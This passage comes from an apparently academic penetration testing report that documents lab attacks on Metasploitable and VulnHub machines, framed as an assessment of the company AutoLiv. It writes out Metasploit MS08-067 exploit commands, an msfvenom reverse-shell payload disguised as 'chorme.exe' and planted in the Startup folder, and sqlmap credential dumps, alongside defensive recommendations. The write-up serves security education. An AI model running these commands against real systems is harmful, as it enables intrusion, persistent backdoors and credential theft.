Execution output confirmed successful vulnerability triggering and establishment of a 

Meterpreter session. 

Findings 

• Unauthenticated remote code execution achieved 

• Meterpreter session established 

• SYSTEM-level privileges obtained 

• Full administrative compromise confirmed 

The session operated under NT AUTHORITY\SYSTEM, confirming complete control of the 

target host. 

use exploit/windows/smb/ms08_067_netapi 

set RHOSTS 192.168.0.3 

set LHOST 192.168.0.1 

run 
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Security Impact 

The MS08-067 vulnerability allows unauthenticated attackers to execute arbitrary code over 

SMB without credentials. If present in a real enterprise network, this vulnerability would 

enable: 

• Full system compromise 

• Credential extraction 

• Ransomware deployment 

• Lateral movement via SMB trust relationships 

• Long-term persistence 

 

6.4.2 Custom Payload Creation and Backdoor Deployment 

Tool: MSFVenom / Metasploit Framework 

Target Host: Windows XP (192.168.0.3) 

Attacker Platform: Kali Linux (Lopes Cloud Environment) 

 

Custom Payload Generation 

Following successful exploitation of the Windows XP host, a custom reverse TCP payload 

was generated using MSFVenom to establish independent persistent access. 

The following command was executed from Kali Linux: 

 

 

 

The MSFVenom output confirmed successful payload creation and encoding iterations 
(Figure 90). 

 

Listener Configuration 

A Metasploit multi/handler listener was configured to receive the reverse connection from 

the custom payload. 

The following commands were executed: 

 

 

 

 

msfvenom -p windows/meterpreter/reverse_tcp StageRetryCount=17280 

LHOST=192.168.0.1 LPORT=4132 -a x86 -e x86/shikata_ga_nai -i 3 -f exe > 

chorme.exe 

 

use exploit/multi/handler 

set payload windows/meterpreter/reverse_tcp 

set LHOST 192.168.0.1 

set LPORT 4132 

run 
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The handler successfully initialized and began listening on TCP port 4132 (Figure 91). 

Payload Upload to Windows XP 

Using the active Meterpreter session obtained in Section 5.4.1, the custom payload was 

uploaded to the compromised Windows XP host: 

 

 

Meterpreter confirmed successful file transfer to the target system (Figure 92). 

 

Persistence via Startup Folder 

To establish persistence, the payload was placed in the Windows Startup directory: 

 

 

Directory listing confirmed the presence of chorme.exe within the Startup folder (Figure 93). 

This ensures automatic execution upon system reboot. 

 

Reverse Connection Establishment 

The payload was executed from the compromised system: 

 

 

The multi/handler immediately received an inbound connection, confirming successful 

reverse TCP communication (Figure 94). 

 

Remote Access Verification 

Post-exploitation verification commands were executed to confirm session control: 

 

 

 

 

The Meterpreter session confirmed SYSTEM-level privileges (Figure 95). 

Netstat output confirmed an ESTABLISHED outbound TCP connection from Windows XP to 

the Kali Linux attacker machine on port 4132 (Figure 96). 

upload chorme.exe 

C:\Documents and Settings\All Users\Start Menu\Programs\Startup 

 

chorme.exe 

getuid 

pwd 

ls 

netstat 
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7.0 Website Vulnerability Assessment 
 

7.1 Overview 

The Website Vulnerability Assessment phase focused on identifying security weaknesses 

present within the web applications hosted on the Metasploitable 2 virtual machine. Web 

services represent one of the most common entry points for attackers because they are 

publicly accessible and frequently interact with user input, databases, and backend services. 

During this phase, multiple web vulnerability assessment tools available within the Kali Linux 

environment were used to analyze the simulated web infrastructure. The tools included: 

• Nikto Web Server Scanner 

• Metasploit WMAP Web Application Scanner 

• OWASP ZAP (Zed Attack Proxy) 

These tools were used to identify insecure configurations, outdated software, exposed 

directories, and application vulnerabilities such as SQL injection and cross-site scripting 

(XSS). 

All scanning activities were conducted strictly within the authorized GCU penetration testing 

laboratory environment against the Metasploitable 2 virtual machine. No real AutoLiv 

systems were scanned or interacted with during this assessment. 

The results demonstrate how automated vulnerability scanners can quickly identify 

weaknesses in web applications that could allow attackers to gain unauthorized access, 

extract data, or escalate privileges. 

 

7.2 Recommendation 

Based on the website vulnerability assessment findings, the following defensive security 

recommendations are provided: 

• Upgrade outdated web server software such as Apache and PHP to currently supported 

versions 

• Disable unnecessary HTTP methods including TRACE to prevent cross-site tracing 

attacks 

• Implement secure HTTP security headers including 

• X-Frame-Options 

• Content-Security-Policy 

• X-Content-Type-Options 

• Disable directory indexing on public web servers 

• Remove publicly accessible configuration files such as phpinfo.php or wp-config.php 

• Protect administrative interfaces such as phpMyAdmin behind authentication controls or 
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network restrictions 

• Sanitize user input to prevent SQL injection and cross-site scripting attacks 

• Implement Web Application Firewalls (WAF) to detect and block malicious requests 

• Conduct routine web application vulnerability scanning and patch management 

Implementing these defensive measures significantly reduces the risk of web application 

compromise and helps protect sensitive enterprise systems. 

 

7.3 Scope 

Environment 

Platform 

Kali Linux (GCU Virtual Machine) 

Target System 

Metasploitable 2 Web Server 

Target IP Addresses Discovered (figure 104) 

• 192.168.0.2 

• 192.168.0.4 

• 192.168.0.5 

Tools Used 

• Nikto Web Server Scanner (v2.5.0) 

• Metasploit Framework WMAP plugin 

• OWASP ZAP Web Application Scanner 

• Netdiscover (network discovery) 

Ethical Limitation 

• All scanning activity was performed exclusively within the GCU virtual lab 

environment 

• No real AutoLiv infrastructure was targeted 

• The Metasploitable virtual machine is intentionally vulnerable and designed for 

penetration testing practice 
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7.4 Details 

 

7.4.1 Web Server Vulnerability Scanning Using Nikto 
Tool: Nikto Web Server Scanner 

Target Hosts: 192.168.0.2, 192.168.0.4, 192.168.0.5 

Environment: Kali Linux (GCU Virtual Lab) 

 

Command / Method 

The Nikto web vulnerability scanner was used to identify insecure configurations, outdated 

server components, and potentially dangerous files within the web services hosted on the 

Metasploitable environment. 

The following commands were executed from the Kali Linux terminal to scan each 

discovered web server: 

 

 

 

Nikto initiated a comprehensive scan against the HTTP services operating on port 80 of 

each target host. The scanner enumerated web server headers, detected installed software 

versions, and searched for known insecure files, directories, and configuration weaknesses. 

During the scan, Nikto identified that several servers were running outdated versions of 

Apache and PHP. The scanner also detected missing HTTP security headers and exposed 

directories that could reveal sensitive information about the underlying server configuration. 

The results confirmed that multiple hosts were operating legacy web server software and 

insecure configurations commonly associated with intentionally vulnerable systems such as 

Metasploitable (Figures 97–99). 

 

Findings 

The Nikto scan identified several security weaknesses across the scanned hosts. 

Outdated Web Server Software 

The web servers were identified as running Apache versions including Apache 2.2.8 and 

Apache 2.2.16. These versions are no longer supported and contain numerous publicly 

documented vulnerabilities that may allow remote attackers to exploit the web service. 

Outdated PHP Installation 

The servers were running PHP version 5.2.4, which reached end-of-life more than a decade 

ago. Legacy PHP versions contain multiple vulnerabilities that may allow code execution, 

information disclosure, or injection-based attacks. 

nikto -host 192.168.0.2 

nikto -host 192.168.0.4 

nikto -host 192.168.0.5 
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Missing Security Headers 

Several important HTTP security headers were not configured, including: 

• X-Frame-Options 

• X-Content-Type-Options 

The absence of these headers increases the risk of clickjacking attacks and browser-based 

content manipulation. 

Directory Indexing Enabled 

Nikto identified several directories with directory indexing enabled, including: 

• /icons/ 

• /doc/ 

• /test/ 

Directory indexing allows attackers to browse server file structures and discover sensitive 

files or hidden application components. 

phpinfo() Information Disclosure 

A publicly accessible phpinfo.php file was discovered. This file reveals extensive server 

configuration details including installed modules, environment variables, and system 

information that could assist attackers during exploitation. 

Administrative Interfaces Exposed 

The scan also detected the presence of phpMyAdmin, a database administration interface 

that should normally be restricted to authorized users or internal networks. 

HTTP TRACE Method Enabled 

The HTTP TRACE method was enabled on the web server. This configuration may allow 

attackers to perform Cross-Site Tracing (XST) attacks and potentially expose authentication 

information. 

 

Security Impact 

Outdated web server software and insecure configurations significantly increase the attack 

surface of a web application environment. 

The vulnerabilities identified during this scan could allow attackers to: 

• Identify vulnerable software versions for targeted exploitation 

• Enumerate sensitive directories and configuration files 

• Gather detailed server configuration information 

• Perform browser-based attacks such as clickjacking 

• Exploit outdated PHP components 

In a real enterprise environment, these weaknesses could lead to web server compromise, 

credential exposure, and potential lateral movement within the network. 
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All scanning activity was conducted strictly within the authorized academic sandbox 

environment and does not represent real AutoLiv infrastructure. 

 

7.4.2 Web Application Enumeration Using Metasploit WMAP 
Tool: Metasploit Framework 

Plugin: WMAP Web Application Scanner 

Target Host: 192.168.0.5 

Environment: Kali Linux (GCU Virtual Lab) 

 

Command / Method 

Following identification of the web server during the reconnaissance phase, the Metasploit 

Framework was used to perform additional web application enumeration using the WMAP 

plugin. 

The Metasploit console was launched from the Kali Linux terminal: 

 

 

The WMAP plugin was then loaded into the framework: 

 

 

After loading the plugin, the target website was added to the WMAP scanning database: 

 

 

The target host was then defined for scanning: 

 

 

Once configured, the WMAP scan was executed using all available modules: 

 

 

The WMAP scanner performed automated enumeration of directories, files, and web 

application resources associated with the target host. The scan identified multiple accessible 

directories and files hosted on the Apache web server (Figure 100). 

 

 

msfconsole 

 

load wmap 

 

wmap_sites -a 192.168.0.5 

 

wmap_targets -t 192.168.0.5 

 

wmap_run -e 
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Findings 

The WMAP scan identified numerous accessible web directories and application files 

including: 

• /admin/ 

• /images/ 

• /icons/ 

• /css/ 

• /classes/ 

• /index.php 

• /header.php 

• /show.php 

Several directories returned HTTP status code 200, confirming that they were publicly 

accessible. 

These directories may contain application components, configuration files, or administrative 

interfaces that could provide additional attack vectors. 

Administrative directories such as /admin/ represent particularly valuable targets because 

they may contain authentication portals or management interfaces. 

 

Security Impact 

Web application directory enumeration allows attackers to map the structure of a website 

and identify hidden application functionality. 

The discovery of administrative directories and application scripts significantly improves 

attacker reconnaissance and enables: 

• Discovery of authentication portals 

• Identification of sensitive application components 

• Targeted web application exploitation 

• Enumeration of configuration and script files 

If left unprotected in a real enterprise environment, these exposed directories could enable 

attackers to access administrative systems, manipulate application logic, or extract sensitive 

data. 

All enumeration activity was performed within the authorized academic laboratory 

environment. 
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7.4.3 Web Application Vulnerability Scanning Using OWASP ZAP 
Tool: OWASP ZAP (Zed Attack Proxy) 

Target Host: 192.168.0.5 

Environment: Kali Linux (GCU Virtual Lab) 

 

Command / Method 

OWASP ZAP was used to perform an automated vulnerability scan against the web 

application hosted on the Metasploitable system. 

The OWASP ZAP graphical interface was launched from the Kali Linux environment and 

configured to target the following URL: 

 

 

A traditional spider scan was executed to crawl the website and identify accessible pages 

and application components. After the spider completed enumeration, an automated active 

vulnerability scan was performed against the discovered endpoints. 

The ZAP scanner tested the application for common web vulnerabilities including injection 

attacks, cross-site scripting, insecure cookies, and missing security headers. 

Upon completion, ZAP generated a vulnerability report categorizing findings by severity level 

including High, Medium, Low, and Informational alerts (Figures 101–103). 

 

Findings 

The ZAP vulnerability scan identified multiple web application security issues. 

High Severity Vulnerabilities 

Cross-Site Scripting (Reflected) 

The application was found to be vulnerable to reflected cross-site scripting attacks. User 

input was returned directly in HTTP responses without proper sanitization, allowing attackers 

to inject malicious JavaScript into the application. 

SQL Injection (MySQL) 

The scanner identified SQL injection vulnerabilities that may allow attackers to manipulate 

database queries and retrieve sensitive data from the backend database. 

Medium Severity Vulnerabilities 

Several application security controls were missing, including: 

• Absence of Anti-CSRF Tokens 

• Content Security Policy (CSP) header not configured 

• Directory browsing enabled 

• Missing anti-clickjacking protections 

http://192.168.0.5 
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• Low Severity Findings 

Additional configuration weaknesses included: 

• Cookies missing the HttpOnly attribute 

• Cookies missing the SameSite attribute 

• Server version information exposed in HTTP headers 

• Missing X-Content-Type-Options header 

Informational Findings 

Additional informational alerts were identified including authentication requests, session 

management behavior, and user-agent fuzzing responses. 

 

Security Impact 

The vulnerabilities identified by OWASP ZAP demonstrate multiple weaknesses in the web 

application security configuration. 

If present in a real enterprise system, these vulnerabilities could allow attackers to: 

• Execute malicious scripts within user browsers 

• Manipulate backend database queries 

• Steal session cookies and authentication tokens 

• Perform cross-site request forgery attacks 

• Gain unauthorized access to sensitive application data 

Combined exploitation of these vulnerabilities could lead to full compromise of the web 

application and provide attackers with an entry point into the broader network environment. 

All vulnerability testing was conducted within the authorized academic sandbox environment 

and does not represent real AutoLiv infrastructure. 
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8.0 SQL Injection 

 

8.1 Overview 

The SQL Injection phase focused on identifying and exploiting input validation vulnerabilities 

within a vulnerable web application hosted in the controlled lab environment. The target 

application, a photoblog platform, was tested to determine whether user-supplied input could 

manipulate backend SQL queries. 

SQL Injection is a critical vulnerability that allows attackers to alter database queries, 

potentially leading to authentication bypass, database enumeration, data extraction, and full 

system compromise. This phase demonstrated how improper input sanitization and insecure 

query construction can allow attackers to escalate from simple input manipulation to 

complete control of the underlying system. 

All testing was conducted within an isolated virtual machine environment and mapped to a 

simulated AutoLiv web application scenario for academic purposes. 

 

8.2 Recommendation 

Based on the SQL Injection findings, the following security recommendations are provided: 

• Implement parameterized queries and prepared statements for all database 

interactions 

• Enforce strict server-side input validation and sanitization 

• Use least-privilege database accounts to limit impact of compromise 

• Deploy Web Application Firewalls WAF to detect and block injection attempts 

• Perform regular secure code reviews and penetration testing 

• Implement proper error handling to prevent database information leakage 

Proper mitigation of SQL Injection vulnerabilities significantly reduces the risk of 

unauthorized access, data breaches, and system compromise. 

 

8.3 Scope 

Environment 

• Platform: Kali Linux GCU Virtual Lab 

• Target: SQL Injection to Shell VM VulnHub 

• Web Application: Photoblog vulnerable web application 

Tools Used 

• Web Browser manual SQL injection testing 

• SQLmap automated SQL injection exploitation 

• NetDiscover network enumeration 

• Metasploit Framework post exploitation 
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Ethical Limitation 

• All testing was performed in a controlled lab environment 

• No real-world systems were targeted 

• Activities complied with ethical hacking standards and course requirements 

 

8.4 Details 

 

8.4.1 Initial SQL Injection Reconnaissance 

Method / Input Tested 

Initial testing was performed on the photoblog application by submitting user-controlled input 

into URL parameters and input fields to observe application behavior (Figure 105) (Figure 

106). 

Findings 

The application returned abnormal responses when input was manipulated, including blank 

pages and SQL error messages, indicating improper input handling and lack of sanitization 
(Figure 107) (Figure 108) (Figure 109). 

Further testing using ORDER BY injection revealed the number of columns in the backend 

query, confirming the presence of a SQL injection vulnerability (Figure 110). 

UNION SELECT statements were then used to validate injectable columns and extract 

database-related information, including the database name photoblog (Figure 111) (Figure 

112). 

Security Impact 

This vulnerability allows attackers to: 

• Identify injectable parameters 

• Enumerate database structure 

• Prepare for further exploitation 

 

8.4.2 Network Reconnaissance Supporting Exploitation 

Method 

NetDiscover was used to identify active hosts within the lab environment prior to automated 

exploitation. 

Findings 

The scan identified the target system hosting the vulnerable web application, confirming 

network visibility and accessibility for further attacks (Figure 113). 

Security Impact 

Network discovery enables attackers to: 

• Identify reachable targets 

• Map internal network structure 

• Prepare for targeted exploitation 
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8.4.3 Database Enumeration Using SQLmap 

Tool 

SQLmap 

Command / Method 

sqlmap -u target_url --dbs 

Findings 

SQLmap successfully detected the injectable parameter and confirmed the presence of a 

SQL injection vulnerability. The tool enumerated available databases, including the 

photoblog database (Figure 114) (Figure 115). 

Security Impact 

Automated tools significantly accelerate exploitation by: 

• Identifying injection points 

• Enumerating databases 

• Reducing manual attack effort 

 

8.4.4 Database Structure Extraction 

Command 

sqlmap -u target_url -D photoblog --tables 

Findings 

SQLmap extracted the database structure, revealing tables within the photoblog database 
(Figure 116) (Figure 117). 

Further enumeration identified columns within sensitive tables such as the users table 
(Figure 118). 

Security Impact 

This allows attackers to: 

• Map application database structure 

• Identify sensitive tables 

• Target credential storage locations 

 

8.4.5 Credential Dumping 

Command 

sqlmap -u target_url -D photoblog -T users --dump 

Findings 

SQLmap successfully extracted user credentials, including administrative login information, 

demonstrating a complete compromise of sensitive data (Figure 119) (Figure 120). 

The extracted credentials were then used to authenticate into the web application’s 

administrative interface (Figure 121) (Figure 122). 
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Security Impact 

This represents a severe breach, enabling: 

• Credential theft 

• Unauthorized administrative access 

• Privilege escalation 

 

8.4.6 Web Shell Upload and Command Execution 

Method 

After gaining administrative access, a web shell was uploaded to the application, enabling 

remote command execution. 

Findings 

The uploaded shell allowed execution of system-level commands, including user 

identification, directory listing, and path discovery (Figure 123) (Figure 124) (Figure 125) (Figure 

126) (Figure 127). 

Additional files were uploaded to confirm write access and persistence on the system (Figure 

128) (Figure 129). 

Security Impact 

This stage demonstrates: 

• Remote command execution 

• File system access 

• Ability to maintain persistence 

 

8.4.7 Payload Generation and Reverse Shell Execution 

Method 

A malicious PHP payload was generated using msfvenom and executed through the web 

application. 

Findings 

The payload successfully executed, establishing a reverse shell connection from the target 

system (Figure 130) (Figure 131). 

Security Impact 

This allows attackers to: 

• Gain interactive system access 

• Execute arbitrary commands remotely 

• Maintain control of the compromised system 
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8.4.8 Post Exploitation Using Metasploit 

Tool 

Metasploit Framework 

Findings 

Metasploit was used to handle the reverse shell connection and establish a persistent 

session with the compromised system (Figure 132) (Figure 133). 

The session provided full command-line access, allowing directory enumeration and 

interaction with system files (Figure 134) (Figure 135) (Figure 136). 

Security Impact 

This demonstrates full system compromise, allowing attackers to: 

• Maintain persistent access 

• Execute system-level commands 

• Navigate and manipulate the file system 
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Appendix 

 

Craft.co Autoliv Executive Team Figure 1

 

 

DNSDumpster search Figure 2 
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ViewDNS.info domain search Figure 3

 

 

ViewDNS.info subdomain search top 10 Figure 4
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WhoIs.com Domain Information Figure 5

 

 

 

WhoIs.com Registrar Information / Contact Figure 6
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MXtoolbox.com MX lookup Figure 7

 

 

AutoLiv Requires Cookies (Cookie Policy) Figure 8 

  

 

Hunter.io Domain Search Figure 9 

 
  

https://career.autoliv.com/cookie-policy


AutoLiv Pen Testing Report 

 

Page 74 of 119 
 

AutoLiv SSL Certificate Figure 10

  

 

AutoLiv Careers Page Loads Publicly Figure 11
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Login Portals Identified via DNSDumpster Figure 12

 

 

AutoLiv Job Postings Figure 13
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Third-Party Platform (TeamTailor) used for career pages Figure 14

 
 

AutoLiv 2024 Annual Sustainability Report / 10-K Page 17 Figure 15

 

 

AutoLiv Press Releases Figure 16
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AutoLiv Locations Figure 17

 

 

AutoLiv Governance Page Figure 18
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Analytic and Tracking via BuiltWith.com Figure 19 

 

 

Content Management System via BuiltWith.com Figure 20 

 

Frameworks via BuiltWith.com Figure 21
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SSL Certificates via BuiltWith.com Figure 22

 

 

Web Hosting / Servers via BuiltWith.com Figure 23

 

 

Kali Linux “dig -v” Figure 24
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Kali Linux “dig autoliv.com” Figure 25

 

 

Kali Linux “dig MX autoliv.com” Figure 26

 

 

Kali Linux “dig NS autoliv.com” Figure 27 
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Kali Linux “dig TXT autoliv.com” Figure 28 

 

 

Kali Linux “dnsenum -v” Figure 29

 

 

Kali Linux “dnsenum --noreverse autoliv.com” Figure 30

 

 

Kali Linux “spiderfoot --version” Figure 31
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Kali Linux “spiderfoot -l 127.0.0.1:5001” Figure 32

 

 

Spiderfoot New Scan Figure 33

 

 

Spiderfoot Summary Figure 34

 



AutoLiv Pen Testing Report 

 

Page 83 of 119 
 

Spiderfoot 28 Unique Internet Names Figure 35

 

 

Spiderfoot 3 Direct Email Addresses Figure 36 

 

 

Spiderfoot 22 affiliate-related email addresses Figure 37
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Spiderfoot 2 email gateway records (MX) Figure 38

 

 

Spiderfoot 2 IPv6 addresses identified Figure 39

 

 

Kali Linux “theHarvester -version” Figure 40

 

 

“theHarvester -d autoliv.com -b all -l 500” 36 Interesting URLs Identified Figure 41
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“theHarvester -d autoliv.com -b all -l 500” 56 IP Addresses Identified Figure 42

 

 

9 Autonomous System Numbers (ASNs) Identified Figure 43

 

 

762 Hosts/Subdomains Identified Figure 44

 

 

1 Email Found Figure 45
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Kali Linux GCU Virtual Cloud “sudo netdiscover -i br0 -L” Figure 46

 

 

Kali Linux GCU Virtual Cloud “nmap -v” Figure 47

 

 

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.1-5 -sn” Figure 48
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Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.1-5 -O” Figure 49

 

 

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.3 -sV” Figure 50
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Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.1-5 -A” Figure 51 - A

  

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.1-5 -A” Figure 51 - B
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Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.3 -sT” Figure 52

 

 

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.3 -sU” Figure 53

  

 

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.3 -f” Figure 54

 

 

Kali Linux “sudo nmap 192.168.0.3-5 -p80 --script http-enum” Figure 55
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Kali Linux “sudo gvm-start” Figure 56

 

 

Greenbone Dashboard After Login Figure 57
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Greenbone Targets Figure 58

 

 

Greenbone Scans Completed Figure 59

 

 

Greenbone Scan Report 127.0.0.1 Figure 60

 

 

Greenbone Hosts Figure 61
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Greenbone Opersating Systems Figure 62

 

 

Greenbone Host Details Figure 63

 

 

5.0 Kali Linux “sudo netdiscover -i br0 -L” Figure 64
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Metasploit “msfconsole” Figure 65

 

 

Metasploit workspace creation  Figure 66 
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Metasploit “db_nmap -A 192.168.0.3” Figure 67 

 
 

Metasploit “search ms08_067” Figure 68 

 
 

Metasploit exploit module loaded Figure 69 

 
 

Metasploit configuration (LHOST / RHOSTS) Figure 70 
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Metasploit exploit execution Figure 71 

 
 

Meterpreter SYSTEM privilege verification Figure 72 

 
 

Meterpreter “hashdump” output Figure 73 

 
 

Meterpreter “screenshot” confirmation Figure 74 
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Meterpreter file upload / enumeration Figure 75 

 

 

Nmap enumeration showing Samba service Figure 76 
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Metasploit module search for Samba exploit Figure 77 

 

 

Exploit module loaded Figure 78 

 

 

Exploit configuration (RHOSTS / LHOST) Figure 79 
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Exploit execution and shell session opened Figure 80 

 

 

Shell access verification (id, whoami, uname -a) Figure 81 

 

 

File system enumeration (ls, directory listing) Figure 82 

 

 

Nmap enumeration showing PostgreSQL service Figure 83
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Metasploit PostgreSQL module search Figure 84 

 

 

PostgreSQL exploit module loaded Figure 85 

 

 

PostgreSQL exploit configuration (RHOSTS / LHOST / credentials) Figure 86 
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PostgreSQL exploit execution and shell session opened Figure 87 

 

 

Shell verification (id, whoami, uname -a) Figure 88 

 

 

File system enumeration (ls, directory listing) Figure 89 
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MSFVenom custom payload generation Figure 90

 

Metasploit multi/handler listener configuration Figure 91

 
 

Meterpreter payload upload confirmation Figure 92

 
 

Startup folder persistence confirmation Figure 93
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Reverse Meterpreter session established Figure 94

 
 

SYSTEM privilege verification (getuid) Figure 95

 
 

Netstat outbound reverse connection confirmation Figure 96

 

 

Nikto scan results – Web Server 192.168.0.2 Figure 97
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Nikto scan results – Web Server 192.168.0.4 Figure 98

 

 

Nikto scan results – Web Server 192.168.0.5 Figure 99 

 

Metasploit WMAP web application enumeration Figure 100
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OWASP ZAP web vulnerability scanner interface Figure 101

 

 

OWASP ZAP vulnerability alert summary Figure 102

 

 

OWASP ZAP detailed vulnerability report Figure 103
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Website Vulnerability Assessment NetDiscover Figure 104

 

 

SQL Injection Photoblog Initial Page Load Figure 105

 

 

SQL Injection Photoblog Parameter Input hacker Figure 106
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SQL Injection Photoblog Blank Response After Injection Figure 107

 

SQL Injection SQL Syntax Error Message Exposure Figure 108

 

SQL Injection SQL Error Validation Repeated Injection Figure 109
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SQL Injection Order By Column Enumeration Failure Figure 110

 

 

SQL Injection Union Select Numeric Output Validation Figure 111

 

SQL Injection Union Select Database Name photoblog Extraction Figure 112
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SQL Injection NetDiscover Network Discovery Output Figure 113

 

 
SQL Injection SQLmap Initial Injection Detection Scan Figure 114

 

 
SQL Injection SQLmap Database Enumeration Results Figure 115
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SQL Injection SQLmap Database Tables Listing photoblog Figure 116
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SQL Injection SQLmap Database Table Confirmation Output Figure 117
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SQL Injection SQLmap Column Enumeration users table Figure 118

 

 
SQL Injection SQLmap Database Dump Execution Figure 119
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SQL Injection SQLmap Credential Dump admin password Figure 120

 

 
SQL Injection Photoblog Admin Panel Access Figure 121

 

 

 
SQL Injection Admin Panel Reload No PHP Execution Figure 122
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SQL Injection Web Shell Upload shelly3 Display Figure 123

 

SQL Injection Web Shell Command id Execution Output Figure 124

 

SQL Injection Web Shell Directory Listing ls Output Figure 125

 

SQL Injection Web Shell Current Directory pwd Output Figure 126

 

SQL Injection Web Shell Directory Path Confirmation Figure 127

 

SQL Injection Web Shell File Upload hacked3 Directory Creation Figure 128
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SQL Injection Web Shell Directory Listing With Uploaded Files Figure 129

 

 
SQL Injection msfvenom PHP Payload Creation shelly3 Figure 130

 

 
SQL Injection Photoblog Payload Execution shelly again Figure 131

 

 
SQL Injection Metasploit Framework Initialization Workspace Setup Figure 132
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SQL Injection Metasploit Exploit Module Search Results Figure 133

 
SQL Injection Metasploit Multi Handler Reverse Shell Session Open Figure 134

 
SQL Injection Metasploit Reverse Shell Directory Enumeration Figure 135

 

SQL Injection Metasploit File System Listing With Payload Files Figure 136
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